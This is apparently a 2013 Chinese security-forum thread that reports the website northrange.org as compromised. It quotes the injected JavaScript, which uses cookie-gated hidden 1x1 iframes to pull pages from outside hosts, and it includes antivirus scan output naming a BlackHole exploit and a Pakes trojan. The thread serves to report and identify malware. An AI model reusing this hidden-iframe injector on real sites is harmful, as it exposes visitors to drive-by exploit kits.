http://www.northrange.org【挂马BY哀酱，厉害】

显示全部楼层 · 发表于 2013-5-18 06:01:08

(function (){
  var ahtri = document.createElement('iframe');
  ahtri.src = 'http://forum.zbrushworkshops.com/rel.php';
  ahtri.style.position = 'absolute';
  ahtri.style.border = '0';
  ahtri.style.height = '1px';
  ahtri.style.width = '1px';
  ahtri.style.left = '1px';
  ahtri.style.top = '1px';
  if (!document.getElementById('ahtri')){
document.write('<div id=\'ahtri\'></div>');
document.getElementById('ahtri').appendChild(ahtri);
  }
}
)();

function zzzfff(){
  var uolj = document.createElement('iframe');
  uolj.src = 'http://bazaarbradford.co.uk/clk.php';
  uolj.style.position = 'absolute';
  uolj.style.border = '0';
  uolj.style.height = '1px';
  uolj.style.width = '1px';
  uolj.style.left = '1px';
  uolj.style.top = '1px';
  if (!document.getElementById('uolj')){
document.write('<div id=\'uolj\'></div>');
document.getElementById('uolj').appendChild(uolj);
  }
}
function SetCookie(cookieName, cookieValue, nDays, path){
  var today = new Date();
  var expire = new Date();
  if (nDays == null || nDays == 0)nDays = 1;
  expire.setTime(today.getTime() + 3600000 * 24 * nDays);
  document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.
  toGMTString() + ((path) ? "; path=" + path : "");
}
function GetCookie(name){
  var start = document.cookie.indexOf(name + "=");
  var len = start + name.length + 1;
  if ((!start) && (name != document.cookie.substring(0, name.length))){
return null;
  }
  if (start ==  - 1)return null;
  var end = document.cookie.indexOf(";", len);
  if (end ==  - 1)end = document.cookie.length;
  return unescape(document.cookie.substring(len, end));
}
if (navigator.cookieEnabled){
  if (GetCookie('visited_uq') == 55){
  }
  else {
SetCookie('visited_uq', '55', '1', '/');
zzzfff();
  }
}

显示全部楼层 · 发表于 2013-5-18 07:52:38

Dr.Web

Checking: hxxp://www.northrange.org
Engine version: 7.0.4.9250
Total virus-finding records: 4021309
File size: 23.53 KB
File MD5: 30cfe1171419516d2355b7acdfeda029

hxxp://www.northrange.org - archive JS-HTML
>hxxp://www.northrange.org/JSTAG_1[b0a][400] - Ok
>hxxp://www.northrange.org/JSTAG_2[f38][44a] - Ok
>hxxp://www.northrange.org/JSTAG_3[445c][afb] infected with Exploit.BlackHole.172
>hxxp://www.northrange.org/JSTAG_4[4fa5][265] - Ok
>hxxp://www.northrange.org/JSTag_5[b0f][3fb] - Ok
>hxxp://www.northrange.org/JSTag_6[f3d][445] - Ok
>hxxp://www.northrange.org/JSTag_7[4faa][260] - Ok

显示全部楼层 · 发表于 2013-5-18 07:54:11

显示全部楼层 · 发表于 2013-5-18 08:33:08

Kaspersky

header-rollup.js?v=500b27 已封鎖: Trojan.JS.Pakes.do 2013/5/18 上午 08:29:45 Google Chrome http://forum.zbrushworkshops.com/js/
footer-rollup.js?v=500b27 已封鎖: Trojan.JS.Pakes.do 2013/5/18 上午 08:29:45 Google Chrome http://forum.zbrushworkshops.com/js/
footer-rollup.js?v=500b27 偵測到威脅: Trojan.JS.Pakes.do 2013/5/18 上午 08:29:45 Google Chrome http://forum.zbrushworkshops.com/js/
header-rollup.js?v=500b27 偵測到威脅: Trojan.JS.Pakes.do 2013/5/18 上午 08:29:45 Google Chrome http://forum.zbrushworkshops.com/js/

[已鉴定] http://www.northrange.org【挂马BY哀酱，厉害】